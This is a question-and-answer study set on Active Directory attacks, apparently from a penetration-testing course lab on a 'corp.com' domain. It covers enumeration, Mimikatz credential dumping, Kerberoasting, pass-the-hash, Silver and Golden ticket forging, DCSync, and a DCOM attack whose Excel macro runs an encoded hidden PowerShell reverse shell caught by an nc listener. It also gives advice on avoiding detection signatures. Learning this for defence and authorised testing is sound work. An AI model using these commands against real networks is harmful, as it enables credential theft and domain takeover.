Active Directory Attacks

Question 1

What is a Domain Controller?

Answer 1

• Windows 2000-2019 server with Active Directory Domain Services role installed
• The hub and core of AD because it stores all information about how the specific instance of AD is configured
• The DC also enforces a vast array of rules that govern how objects w/in a given Windows domain interact with each other, and what tools are available to end users
• When an instance of AD is configured, a ‘domain’ is created with a name such as ‘corp.com’ where ‘corp’ is the name of the organization.
• Within this domain we can add various types of objects, including computers and user objects

Question 2

What is an OU?

Answer 2

• Organization Unit
• Comparable to file system folders that are used to store and group objects together
• Computer objects represent actual servers and workstations that are domain-joined
• User objects represent employees of the organization

Question 3

AD Enumeration

Answer 3

• Begins with the exploit or client-side attack against a domain workstation or server, followed by enumeration of the AD environment
• We then target high-value groups, such as the Domain Admins group to gain complete control of every single computer

Question 4

AD Enumeration: Traditional Approach

Answer 4

1. Enumerate all local accounts
   - - C:\Users\Offsec.corp> net user
2. Enumerate all users in the entire domain
   - - C:\Users\Offsec.corp> net user /domain
3. Query individual user account
   - - C:\Users\Offsec.corp> net user jeff_admin /domain
4. Enumerate all groups in the domain
   - - C:\Users\Offsec.corp> net group /domain
   * ** Shortcoming of this approach is that net.exe cannot list nested groups and only shows the direct user members

Question 5

AD Enumeration: Modern Approach

Answer 5

• Using PowerShell and LDAP
  1. Get the ‘domain’ name
  – PS C:\Users\offsec.CORP> [System.DirectoryServices.ActiveDirectory. Domain]::GetCurrent Domain()
  ** Get the ‘PdcRoleOwner’ and ‘Name’ properties **
  PdcRoleOwner : DC01.corp.com
  Name : corp.com
  ________________________________________
  2. Build PowerShell script (Build LDAP path)
  $domainObj = [System.DirectoryServices.ActiveDirectory. Domain]::GetCurrentDomain()
  $PDC = ($domainObj.PdcRoleOwner).Name
  $SearchString = “LDAP://”
  $SearchString += $PDC + “/”
  $DistinguishedName = “DC=$($domainObj.Name.Replace(‘.’, ‘,DC=’))”
  $SearchString += $DistinguishedName
  $SearchString
  ** Results in the following: LDAP://DC01.corp.com/DC=corp,DC=com
  ________________________________________
  3. Build PowerShell script (Searcher)
  $Searcher = New-Object System.DirectoryServices.DirectorySearcher ([ADSI]$SearchString)
  $objDomain = New-Object System.DirectoryServices.DirectoryEntry
  $Searcher.SearchRoot = $objDomain
  _______________________________________
  4. Build PowerShell Script (samAccountType)
  ** We want to list all users in the domain, so we use 0x30000000 (decimal 805306368)
  $Searcher.filter=”samAccountType=805306368”
  $Searcher.FindAll()
  *** The output is a little messy, so we can clean this up a little bit **
  ________________________________________
  5. Build PowerShell Script (cleaner print)
  Foreach($obj in $Result)
  {
  Foreach($prop in $obj.Properties)
  {
  $prop
  }
  Write-Host “————————”
  }

Question 6

AD Enumeration: Unravel nested groups

Answer 6

1. Adjust the PowerShell script from above to print out all groups in the domain:
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.name
}
*** When executed the groups are displayed ***
...
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
Secret_Group
Nested_Group
Another_Nested_Group
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
2. We can get the members of 'Secret_Group':
$Searcher.filter="(name=Secret_Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.member
}
**** According to this output, 'Nested_Group' is a member of this group ****
CN=Nested_Group,OU=CorpGroups,DC=corp,DC=com
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
3. Alter to get the members of 'Nested_Group':
$Searcher.filter="(name=Nested_Group)"
**** According to this output, 'Another_ Nested_Group' is a member of this group ****
CN=Another_Nested_Group, OU=CorpGroups,DC=corp,DC=com
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

Question 7

What is the concept behind finding currently logged on users?

Answer 7

** We want to find logged-in users that are members of high-value groups since their credentials will be cached in memory,
and we can steal their credentials and authenticate with them **
- We must tailor our enumeration to consider not only ‘Domain Admins’ but also potential avenues of “chained compromise”, including a hunt for a “derivative local admin”

Question 8

What tools are helpful with enumerating currently logged on users?

Answer 8

1. NetSessionEnum API (Get-NetSession)
   - Can be used as a regular domain user
   - Returns a list of active users on servers such as fileservers or domain controllers
2. NetWkstaUserEnum API (Get-NetLoggedon)
   - After compromising a domain machine, we should enumerate every computer in the domain and then use NetWkstaUserEnum against the obtained list

Question 9

AD Enumeration: Currently Logged on Users

Answer 9

*** Use PowerView.ps1
PS C:\Tools\active_directory> Import-Module .\PowerView.ps1
__________________________________
1. Enumerate logged-in users with Get-NetLoggedon along with the -ComputerName option and specify a workstation
– PS C:\Tools\active_directory> Get-NetLoggedon -ComputerName client251
__________________________________
2. Let’s try to retrieve active sessions on the domain controller DC01
– PS C:\Tools\active_directory> Get-NetSession -ComputerName dc01

Question 10

Explain Service Principal Names

Answer 10

• Services launched by the system itself use the context based on a Service Account
• Isolated applications can use a set of predefined accounts: LocalSystem, LocalService, and NetworkService
• When applications like Exchange, SQL, or IIS are integrated into AD, a unique service instance known as Service Principal Name (SPN) is used to associate a service on a specific server to a service account in AD
• *** By enumerating all the SPNs in the domain, we can obtain the IP address and port number of applications running on servers integrated with the target AD **

Question 11

AD Enumeration: SPNs

Answer 11

1. Update our PS script for SPN http, indicating the presence of a registered web server
   $Searcher.filter=”serviceprincipalname=http”
   $Result = $Searcher.FindAll()
   Foreach($obj in $Result)
   {
   Foreach($prop in $obj.Properties)
   {
   $prop
   }
   }
   __________________________________
   - Output shows an SPN with the following information:
   – samaccountname {iis_service}
   – serviceprincipalname {HTTP/CorpWebServer.corp.com}
   *** From here we can run Nslookup and go to the URL CorpWebServer.corp.com
   – PS C:\Users\offsec.CORP> nslookup CorpWebServer.corp.com

Question 12

What 2 authentication types are used by AD?

Answer 12

• Kerberos(default)

- NTLM

Question 13

NTLM Authentication

Answer 13

• Uses a challenge and response
• Used in one of 3 cases:
  1. when a client authenticates to a server by IP address (instead of hostname)
  2. when a user attempts to authenticate to a hostname that is not registered on the AD integrated DNS server
  3. applications may choose to use NTLM

Question 14

Kerberos Authentication

Answer 14

• Uses a ticket system
• Kerberos client authentication to a service in AD involves the use of a DC in the role of a KDC (Key Distribution Center)
• Hashes are stored in LSASS memory space
• Need SYSTEM privs to access LSASS
• Mimikatz is helpful with this

Question 15

What is the best way to use Mimikatz against LSASS as a general rule of thumb?

Answer 15

• Avoid using Mimikatz as a standalone application, due to detection signatures
• Instead:
  1. execute Mimikatz directly from memory using an injector like PowerShell
  2. Use a built-in tool like Task Manager to dump the entire LSASS process memory, move the dumped data to a helper machine, and from there load the data into Mimikatz

Question 16

How would we use Mimikatz on a Windows target as standalone application with a user that has local admin?

Answer 16

1. Start Mimikatz and use ‘privilege::debug’ and ‘sekurlsa::logonpasswords’
   – C:\Tools\active_directory> mimikatz.exe
   mimikatz # privilege::debug
   – Privilege ‘20’ OK
   mimikatz # sekurlsa::logonpasswords
   _________________________________
2. We get all credential information for the user ‘Offsec’
   * NTLM : e2b475c11da2a0748290d87aa966c327
   * SHA1 : 8c77f430e4ab8acb10ead387d64011c76400d26e
   _________________________________

Question 17

What can we do after we obtain password hashes with Mimikatz, what can we do?

Answer 17

• exploit Kerberos authentication by abusing TGT and service tickets
• Kerberos TGT and service tickets for users currently logged onto the local machine are stored for future use
• These tickets are also stored in LSASS and we can use Mimikatz to interact with and retrieve our own tickets and the tickets of local users

Question 18

How can we use Mimikatz to get currently logged on users Kerberos TGT and TGS tickets?

Answer 18

– mimikatz # sekurlsa::tickets

Question 19

What can we do with a Kerberos TGT ticket?

Answer 19

• We could request a TGS for a specific resource we want to target w/in the domain

Question 20

How can we use Kerberos for Service Account Attacks?

Answer 20

• When a user wants to access a resource hosted by a SPN, the client requests a service ticket that is generated by the DC
• The service ticket is then decrypted and validated by the application server, since it is encrypted through the password hash of the SPN
• When requesting the service ticket from the DC, no checks are performed on whether the user has any permissions to access the service hosted by the SPN
• These checks are performed as a second step only when connecting to the service itself
• This means that if we know the SPN we want to target, we can request a service ticket for it from the DC
• Then, since it is our own ticket, we can extract it from local memory and save it to disk

Question 21

How can we request the Kerberos service ticket for the SPN ‘HTTP/CorWebServer.corp.com?

Answer 21

• From PowerShell we can use the KerberosRequestorSecurityToken class to request the service ticket
• The code segment we need is located inside the System.IdentityModel, which is not loaded into PowerShell by default
• To load it, we use the Add-Type cmdlet with the -AssemblyName argument
  – Add-Type -AssemblyName System.IdentityModel
  ——————————–
  ** Now we are ready to request the Kerberos Service Ticket
  – New-Object System.IdentityModel.Tokens. KerberosRequestorSecurityToken -ArgumentList ‘H
  TTP/CorpWebServer.corp.com’
  ———————————–
  ** After execution, the requested service ticket should be generated by the DC and loaded into the memory of the Windows 10 client

Question 22

What is another way to list Kerberos tickets, besides Mimikatz?

Answer 22

• ‘klist’ will display all cached Kerberos tickets for the current user
• • PS C:\Users\offsec.CORP> klist

Question 23

How do we download Kerberos Service Tickets from memory with Mimikatz?

Answer 23

– mimikatz # kerberos::list /export

Question 24

What tool can we use to try and and crack encrypted Kerberos Service Tickets?

Answer 24

• kerberoast

- - kali@kali:~$ sudo apt update && sudo apt install kerberoast

Question 25

How do we use Kerberoast to crack a Kerberos Service Ticket?

Answer 25

- use tgsrepcrack.py - provide a wordlist - provide the downloaded encrypted service ticket -- kali@kali:~$ python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-Offse c@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi

Question 26

PtH

Answer 26

- Pass The Hash allows an attacker to authenticate to a remote system or service using a user's NTLM hash instead of a plaintext password - The attacker connects to victim using SMB and performs authentication using NTLM hash - Most tools that exploit PtH start a Windows service (ex. cmd.exe or PowerShell) and communicate with it using Named Pipes - This is done using the ServiceControlManager API - This requires an SMB connection through the firewall and the Windows File and Print Sharing feature to be enabled - Note: this will NOT work for Kerberos authentication but only for NTLM

Question 27

What are some PtH tools?

Answer 27

- PsExec - Passing-the-hash toolkit - Impacket

Question 28

How do you use PTH Toolkit on a Windows machine (10.11.0.22) if you have a valid hash for the user Offsec?

Answer 28

-- kali@kali:~$ pth-winexe -U offsec%aad3b435b51404eeaad3b435b51404ee :2892d26cdf84d7a70e2 eb3b9f05c425e //10.11.0.22 cmd

Question 29

Overpass the Hash

Answer 29

* ** Ideas is that we turn the NTLM hash into a Kerberos ticket and avoid the use of NTLM authentication - we can "over" abuse the NTLM user hash to gain a full Kerberos Ticket Granting Ticket (TGT) or service ticket - this grants us access to another machine or service as that user

Question 30

How can we initiate Overpass the Hash with users 'Offsec' and 'Jeff_Admin'?

Answer 30

* ** We need to first get the NTLM credentials cached 1. Log into Windows 10 machine as Offsec user 2. Right-click on application (i.e. Notepad) and run as different user ('Jeff_Admin') 3. This prompts authentication and we provide the username and password of Jeff_Admin 4. After successful authentication, Jeff_Admin's credentials will be cached 5. We can validate this with: - - mimikatz # sekurlsa::logonpasswords * ** We now have Jeff_Admin's credentials cached, and can proceed with Overpassing the Hash by using 'sekurlsa::pth'

Question 31

Once the NTLM credentials have been cached, how can we Overpass the Hash for the user Jeff_Admin?

Answer 31

1. We use the 'sekurlsa::pth' from Mimikatz -- mimikatz # sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:e2b475c11da2a0748290d 87aa966c327 /run:PowerShell.exe *** We now have a PowerShell session as Jeff_Admin ---------------------------------- 2. Next, we need to generate a TGT by authenticating to a network share on the DC with 'net use' -- PS C:\Windows\system32> net use \\dc01 --------------------------------------- 3. Now we have a cached Kerberos TGT which can be validated with 'klist' -- PS C:\Windows\system32> klist -------------------------------------- 4. Now we can run PSExec and launch a cmd terminal as remotely on the DC01 machine as Jeff_Admin -- PS C:\Tools\active_directory> .\PsExec.exe \\dc01 cmd.exe -- C:\Windows\system32> whoami -- corp\jeff_admin

Question 32

What is one issue of Kerberos TGT?

Answer 32

- can only be used on the machine it was created for

Question 33

Explain 'Pass the Ticket'

Answer 33

- Takes advantage of the TGS, which may be exported and re-injected elsewhere on the network - Can then be used to authenticate to a specific service - Additionally, if the TGS (service ticket) belongs to the current user, then no administrative privileges are required

Question 34

If we have a service account NTLM hash, what can we do with respects to Kerberos service tickets? What is this called?

Answer 34

- We can forge our own service ticket to access the target resource (ex. IIS application) with any permission we desire - This custom-created ticket is known as the 'Silver Ticket' - If the SPN is used on multiple servers, the Silver Ticket can be used against them all

Question 35

What do we need to obtain in order to create a Silver Ticket?

Answer 35

- The SID of the domain

Question 36

What are the elements of an SID?

Answer 36

* ** S-R-I-S - S = 'S' to identify the string as SID - R = Revision Level; Usually set to '1' - I = Identifier-authority value; '5' - S = Subauthority values

Question 37

What is the Subauthority Value of an SID?

Answer 37

- Dynamic value consisting of: 1. Domain's 'Numeric Identifier * ** This is the first four parts of the Subauthority value 2. RID (Relative Identifier) representing the specific object in the Domain * ** The last number of the SID

Question 38

What command allows us to get the SID?

Answer 38

-- C:\>whoami /user

Question 39

What is required to create a Kerberos Silver Ticket?

Answer 39

1. username 2. domain name 3. domain SID 4. fully qualified host name of the service 5. the service type 6. password hash of the service account

Question 40

Give an example of a Kerberos Silver Ticket generation

Answer 40

-- mimikatz # kerberos::golden /user:offsec /domain:corp.com /sid:S-1-5-21-1602875587-278 7523311-2599479668 /target:CorpWebServer.corp.com /service:HTTP /rc4:E2B475C11DA2A0748 290D87AA966C327 /ptt --------------------------------------- *** The generated Silver Ticket is injected directly into memory with the /ppt flag

Question 41

What is DCOM

Answer 41

- Microsoft Object Model - System for creating software components that interact with each other - It was extended to the Distributed Component Object Model (DCOM) for interaction between multiple computers over a network

Question 42

What does exploitation of DCOM require

Answer 42

- Microsoft Office

Question 43

Provide an example of how to exploit DCOM

Answer 43

1. Create a $com object with the program identifier for Excel along with the IP address of the remote workstation. -- $com = [activator]::CreateInstance([type]:: GetTypeFromProgId("Excel.Application", "192 .168.1.110")) ------------------------------------------ 2. Generate shellcode -- kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f h ta-psh -o evil.hta ----------------------------------------- 3. Create Macro in Excel, save as .xls -- Sub MyMacro() -- Dim Str As String -- Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad" -- Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAAL QBlAHEAIAA0ACkAewA" -- ... -- Str = Str + "EQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAF AAcgBvAGMAZQBzAHM" -- Str = Str + "AXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=" -- Shell (Str) End Sub ------------------------------------------ 4. Copy file to target machine using System.IO.File::Copy, flag that the destination file should be overwritten ($True) -- $LocalPath = "C:\Users\jeff_admin.corp \myexcel.xls" -- $RemotePath = "\\192.168.1.110\c$\ myexcel.xls" -- [System.IO.File]::Copy($LocalPath, $RemotePath, $True) ------------------------------------------ 5. Create $Workbook object off of the $Com object with the Open method -- $Workbook = $com.Workbooks.Open("C:\myexcel.xls") **** Results in an error, so have to create a Desktop folder at C:\Windows\SysWOW64\config\systemprofile -- $Path = "\\192.168.1.110\c$\Windows\sysWOW64\ config\systemprofile\Desktop" -- $temp = [system.io.directory]::createDirectory($Path) ----------------------------------------- 6. Start NC listener: -- PS C:\Tools\practical_tools> nc.exe -lvnp 4444 ----------------------------------------- 7. Run the macro $com.Run("mymacro")

Question 44

Golden Ticket Exploit Explanation

Answer 44

* ** A Golden Ticket is a custom self-made TGTs *** - This is an AD Persistence attack - When a user submits a request for a TGT, the KDC encrypts the TGT with a secret key known only to the KDC in the domain - This secret key is actually the password hash of a domain user account called 'krbtgt' - If we are able to get a hold of the 'krbtgt' password hash, we could create our own self-made custom TGTs, or Golden Tickets * ** With this we could create a TGT stating that a non-privileged user is actually a member of the Domain Admins group, and the DC will trust it since it is correctly encrypted

Question 45

Golden Ticket Example

Answer 45

*** We should have an account that is a member of the Domain Admins group, or have compromised the DC itself *** --------------------------------------- 1. Extract the 'password hash' of the 'krbtgt' account by logging into the DC and run Mimikatz from the C:\> folder and issue lsadump::lsa -- mimikatz # privilege::debug --------- Privilege '20' OK --mimikatz # lsadump::lsa /patch *** This gives us the 'krbtgt' user password hash *** User : krbtgt LM : NTLM : 75b60230a2394a812000dbfad8415965 --------------------------------------- 2. Before generating the Golden Ticket, delete any existing Kerberos tickets -- mimikatz # kerberos::purge ---------------------------------------- 3. Provide the username 'fakeuser' and domain SID, along with the 'krbtgt' hash -- mimikatz # kerberos::golden /user:fakeuser /domain:corp.com /sid:S-1-5-21-1602875587-2 787523311-2599479668 /krbtgt:75b60230a2394a812000dbfad8415965 /ptt *** Note that /krbtgt is used to indicate the password hash is being suplied *** Similar to when we created the Silver Ticket, the generated Golden Ticket is injected directly into memory with the /ppt flag -------------------------------------------- 4. With the Golden Ticket injected into memory, we can launch a new command prompt with 'misc::cmd' and attempt lateral movements with PsExec: -- mimikatz # misc::cmd -- C:\Users\offsec.crop> psexec.exe \\dc01 cmd.exe

Question 46

What is the Domain Controller Synchronization lateral movement attack

Answer 46

- Domains typically have more than one domain controller to provide redundancy - The 'Directory Replication Service Remote Protocol' uses 'replication' to synchronize these redundant domain controllers. - A DC may request an update for a specific object, like an account, with the 'IDL_DRSGetNCChanes' API * ** The DC receiving the request for an update does not verify that the request came from a known DC, but only that the associated SID has appropriate privs. - If we attempt to issue a rogue update request to a DC from a user who is a member of the Domain Admins group, it will succeed

Question 47

Example of Domain Controller Synchronization

Answer 47

1. Use Mimikatz to start the replication using 'lsadump::dcsync' with the /user option to indicate the target user to sync -- mimikatz # lsadump::dcsync /user:Administrator *** Provides the hash *** -- Credentials: Hash NTLM: e2b475c11da2a0748290d87aa966c327

Question 48

How does Kerberos authentication work?

Answer 48

1. When a user logs in, they receive a TGT (Ticket Granting Ticket) 2. The TGT is signed by the 'krbtgt' account and is treated as the user's proof of identity 3. With a TGT, the user can request 'service tickets' (TGS) for specific resources within the domain. 4. Part of a TGS is encrypted with the NT hash (NTLM) of the service account for the requested resource. 5. Windows uses Service Principal Names (SPNs) to identify which service is being used to encrypt the TGS.

Question 49

What are the 2 types of SPNs? | Which type is useful for Kerberoasting attacks?

Answer 49

1. Host-based SPNs, linked to the computer (useless) | 2. Domain user account SPNs (used for kerberoasting)

Question 50

How are SPNs used in Kerberoasting attacks?

Answer 50

- Any domain user can request a TGS from a DC for any service that has a registered SPN - When the TGS is generated, the DC does not check whether the requesting user is authorized to access the resource in question - A hacker can use this ticket offline to figure out the password for the service account...since the ticket has been encrypted with the NT hash of the service account